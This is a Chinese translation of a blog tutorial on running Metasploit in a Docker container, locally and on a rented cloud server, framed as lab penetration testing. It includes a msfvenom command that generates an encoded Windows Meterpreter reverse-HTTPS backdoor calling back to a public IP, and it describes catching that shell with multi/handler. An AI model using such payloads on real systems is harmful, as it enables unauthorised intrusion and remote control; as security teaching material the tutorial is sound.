轻松使用Docker容器运行Metasploit框架轻松使用Docker容器运行Metasploit框架-阿里云开发者社区

开发者社区> 轩墨> 正文

轻松使用Docker容器运行Metasploit框架轻松使用Docker容器运行Metasploit框架

简介: 本文讲的是轻松使用Docker容器运行Metasploit框架轻松使用Docker容器运行Metasploit框架,【编者的话】Lenny Seltzer是信息安全技术方面的资深专家与企业家。他涉及的领域包括紧急事件响应,云服务和产品管理。
+关注继续查看
本文讲的是轻松使用Docker容器运行Metasploit框架轻松使用Docker容器运行Metasploit框架【编者的话】Lenny Seltzer是信息安全技术方面的资深专家与企业家。他涉及的领域包括紧急事件响应,云服务和产品管理。Lenny在NCR集团专注于客户安全操作。他还在SANS学院教授数字取证技术与反间谍软件。Lenny积极参与各种会议,撰写相关文章和书籍。

Metasploit是一款强大的渗透测试开源框架。不论你是专业人事或仅仅是爱好者,你都可以轻松的在Docker容器中运行Metasploit框架,从而摆脱安装代码和依赖的噩梦。Docker镜像“remnux/metasploit”作为REMnux集合的一部分已经可以使用了,这归功于Jean Christophe Baptiste的贡献。

以下的示例将向你展示如何在实验环境和公有服务器上运行Metasploit的Docker容器。容器提供了命令行接口的Metasploit框架。它缺少web管理页面,但是你可以通过安装免费的社区版本来获取它,这同时需要在Rapid 7上进行注册。Metasploit框架的命令行版本已经足够强大了,并且该工具可以通过远程调用框架来进行渗透测试。

如何登陆Metasploit框架的Docker容器

安装Metasploit框架Docker镜像的前提是你的系统可以连接互联网并且已经安装了Docker。当准备好后,在你的主机上运行下面这条命令后,镜像会被自动从REMnux的仓库下载并安装:
sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit

在这个例子中,我将在一个临时的容器中运行应用“remnux/metasploit”,他将在我退出后消失(这就是“-rm”参数的作用)。“-it”参数允许你与交互式命令形式进行操作。

为了保证相关数据在容器组件间被访问,我使用”-v“参数将我本机中的目录映射到容器内相关目录上。使用“~/.msf4”目录保存Metasploit框架的配置文件。主机上的“/tmp/msf”目录用于保存其他数据,比如你从目标系统获取的相关信息。

“-p”参数用于将本机上的输入流端口映射到容器内的端口。上面的例子使用TCP端口443接收从反弹shell进入的HTTPS链接。
launching-metasploit-container.png

镜像容量非常大:超过1.2GB,原因是它包含了运行Metasploit框架的所有运行时环境和依赖。这些数据将在第一次下载后被缓存起来。如果你想保持最新的版本可以运行“sudo docker pull remnux/metasploit”命令。

容器被配置为当你登录后自动更新Metasploit的模块。如果你需要增加自己的模块,可以将它们放在主机的~/.msf4目录中。

使用测试驱动模式使用Metasploit框架容器

现在我来介绍如何在你的实验环境登录“remnux/metasploit”容器后体验Metasploit框架。我将会以一个弱配置的Windows系统为目标来举例。同时我将会使用Metasploit框架并使用授权的认证方式远程连接这个系统,而不是通过实际探查漏洞的方式。然后我会打开一个连接到我的Metasploit框架控制台的HTTPS反弹shell。
msfconsole-inside-metasploit-container.png

在上面的例子中,我登录Metasploit的msfconsole工具,然后命令它给我一个连接到目标系统的交互式Meterpreter的shell。这个链接是在HTTPS上打洞,该链接被指向到Metasploit框架容器的443端口上。

以上会话的截图我保存在容器中的/tmp/data目录中。当我退出容器后,那个目录的内容被持久化到底层主机的/tmp/msf目录中。

在公有云中运行Metasploit框架容器

当执行渗透测试时,你极有可能希望在一个可访问互联网的系统内运行Metasploit。你可以轻松通过公有云提供商提供的临时服务器来完成这件事。

举个例子,你可以使用DigitalOcean来完成这件事,我喜欢DigitalOcean是因为它的高性价比。虽然DigitalOcean可以以每个月5美元来使用虚拟机,但我发现这个低端的系统对于Metasploit来说内存是不够用的。所以我租用了一台每月10美元的Ubuntu主机。
digital-ocean-choose-a-size.png

一旦新系统激活,你可以登录进去并且执行下列命令去在主机上安装Docker:
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
add-apt-repository -y "deb https://apt.dockerproject.org/repo ubuntu-$(lsb_release -sc) main"
apt-get update
apt-get -y dist-upgrade
apt-get -y install docker-engine

然后,你可以使用文章开头的命令让Docker下载并载入Metasploit框架容器。
sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit

对于这个例子,我决定使用Metasploit生成一个独立的后门文件,那样我就可以在目标Windows系统中运行这个文件来模拟一个受害者被欺骗运行了恶意软件的场景。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=104.236.213.164 LPORT=443 -e x86/shikata_ga_nai -f exe -o file.exe

既然在容器中的当前目录默认是/tmp/data,结果文件也应该在那。因为我将该目录映射到了主机的/tmp/msf目录上,我可以从那里获取文件并传输给我的实验Windows系统。

然后我在容器内运行“msfconsole”并且命令该工具使用multi/handler,这个工具被设计为接受“msfconsole”接口的外部链接。当反弹HTTPS监听被激活,我将使用先前创建的file.exe“文件注入”到我的Windows系统,这个文件将完成链接并提供给我Meterpreter的shell。
msfconsole-multi-handler-public-cloud.png

就像前面的例子所展示的,我保存了Windows系统的截屏到/tmp/data,即使容器关闭我也可以获取这个图片。

容器的额外能力

Metasploit也包含了非著名的Nmap扫描工具,它可以让你运行“nmap”命令。它提供了强大的能力去检查网络和系统中的潜在漏洞服务并决定如何使用Metaspoit去利用这些漏洞。容器也包含了NASM反编译程序。

另外,容器包含了tmux多路终端工具。他可以让你在一个终端窗口内同时登陆多个“虚拟”窗口。容器修改了工具默认的Ctrl+b快捷键,将它改为Ctrl+a。登陆Metasploit框架容器后,输入“tmux”可以使用该工具了。你会在该工具多个“虚拟”窗口中得到一个shell。想要开启另外一个,按Ctrl+a然后按“c”。去切换窗口,按Ctrl+a然后按窗口编码(例如,Crl+a然后按“0”或“1”)

例如,你可以在一个窗口内运行nmap而在另一个窗口中运行msfconsole。你可以阅读这个教程去学习如何使用tmux。
tmux-nmap-in-metasploit-container.png

总结一下

Docker容器提供了一个便捷的方式去运行Metasploit框架而不必处理安装过程中复杂的工具代码和依赖。像这样运行Metasploit尤其对希望快速部署一个新系统帮助很大,例如运行在公有云上,并且随后关闭它不需要担心丢失任何个性化设置和数据。另一方面,这个方法需要你对Docker容器有一定了解。

感谢Jean Christophe Baptiste创建并维护了这个Dockerfile,同时贡献了“remnux/metasploit”镜像所依赖的配置文件。如果你发现了任何容器的问题或者有任何改进的建议,请在REMnux仓库中为Dcoker文件提出宝贵的issue

原文链接:Run Metasploit Framework as a Docker Container Without Installation Pains (翻译:高洪涛)

===========================================
译者介绍
高洪涛,当当网架构师,开源数据库分库分表中间件Sharding-JDBC作者。目前从事Docker相关调研工作。

原文发布时间为:2016-05-22 
本文作者:gaohongtao 
本文来自云栖社区合作伙伴DockerOne,了解相关信息可以关注DockerOne。
原文标题:轻松使用Docker容器运行Metasploit框架

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
金庸和古龙,Netweaver和微服务,以及SAP Hybris Revenue Cloud
这周Jerry在长沙客户现场待了几天,感谢易总和彩亮的款待。终于有机会和关注这个公众号的一些CRM顾问们进行线下互动,感觉很不错。得知公众号里某些文章帮助顾问们解决了一些工作中的实际问题,我很高兴。感谢大家的支持,只要时间允许,这个公众号我会一直写下去。
3 0
飞天加速计划·高校学生在家实践——ECS服务器初体验
我当前是计算机专业研二学生,现就读于北京科技大学,主攻方向是计算机视觉(CV)中的图像分割,我们实验室也有GPU计算集群,不过在知乎偶然一次机会了解到阿里云的高校计划,从链接点进来后,经过一系列熟悉的操作,我慢慢了解到云服务器ECS这一概念。
4 0
ECS使用体验感悟
阿里云服务器带给我的初体验及使用感受
5 0
ECS云服务器使用心得
简述云服务器中的使用心得及体会
4 0
ESC使用体验
简介: 当我使用云服务器来学习时。可以测试所学习的各种Linux命令、部署环境和配置参数。在云服务器中测试Linux的各种变量,可以加深对Linux的理解。如果只是在虚拟机上构建一个Linux环境,你就不能随意使用它。相比之下确实方便许多。
3 0
微软HoloLens等混合现实技术,或会逐步颠覆多个行业
在具体应用方面,微软此前宣布,HoloLens将与所有Windows 10应用程序兼容,包括OneDrive、地图、远程桌面、Groove音乐及Microsoft Office等。根据此前微软所提到的各种应用程序及应用场景,目前而言,HoloLens至少能做以下场景中的应用:
4 0
微软核心业务即将上线Project Cortex:AI知识图谱大幅提升企业效率
微软正为旗下核心服务 Microsoft 365 引入知识图谱功能:通过 AI 算法对数据的整合,很快我们就可以在日常工作中享受人工智能技术带来的各种便利了。
3 0
飞天加速计划初体验
最近因需要使用云服务器来学习,老师让我们用这个阿里云类进行相关的学习,让我们先进行免费的使用进行学习,慢慢了解,毕竟对于首次接触的事物都是了解为主不会投入大量资金。阿里云平台有详细的教程,让初学者能十分轻松的进行学习。飞天加速计划是个好想法,可以让我们这些学生进行学习,制作出自己的网站。让我在暑假对计算机有了浓厚的兴趣,于是在阿里云我选择了飞天加速计划,学习大数据和服务器啥的,让自己get到更多的知识~
3 0
ESC使用体验
简介: 当我使用云服务器来学习时。可以测试所学习的各种Linux命令、部署环境和配置参数。在云服务器中测试Linux的各种变量,可以加深对Linux的理解。如果只是在虚拟机上构建一个Linux环境,你就不能随意使用它。相比之下确实方便许多。
4 0
+关注
2351
文章
701
问答
文章排行榜
最热
最新
相关电子书
更多
文娱运维技术
立即下载
《SaaS模式云原生数据仓库应用场景实践》
立即下载
《看见新力量:二》电子书
立即下载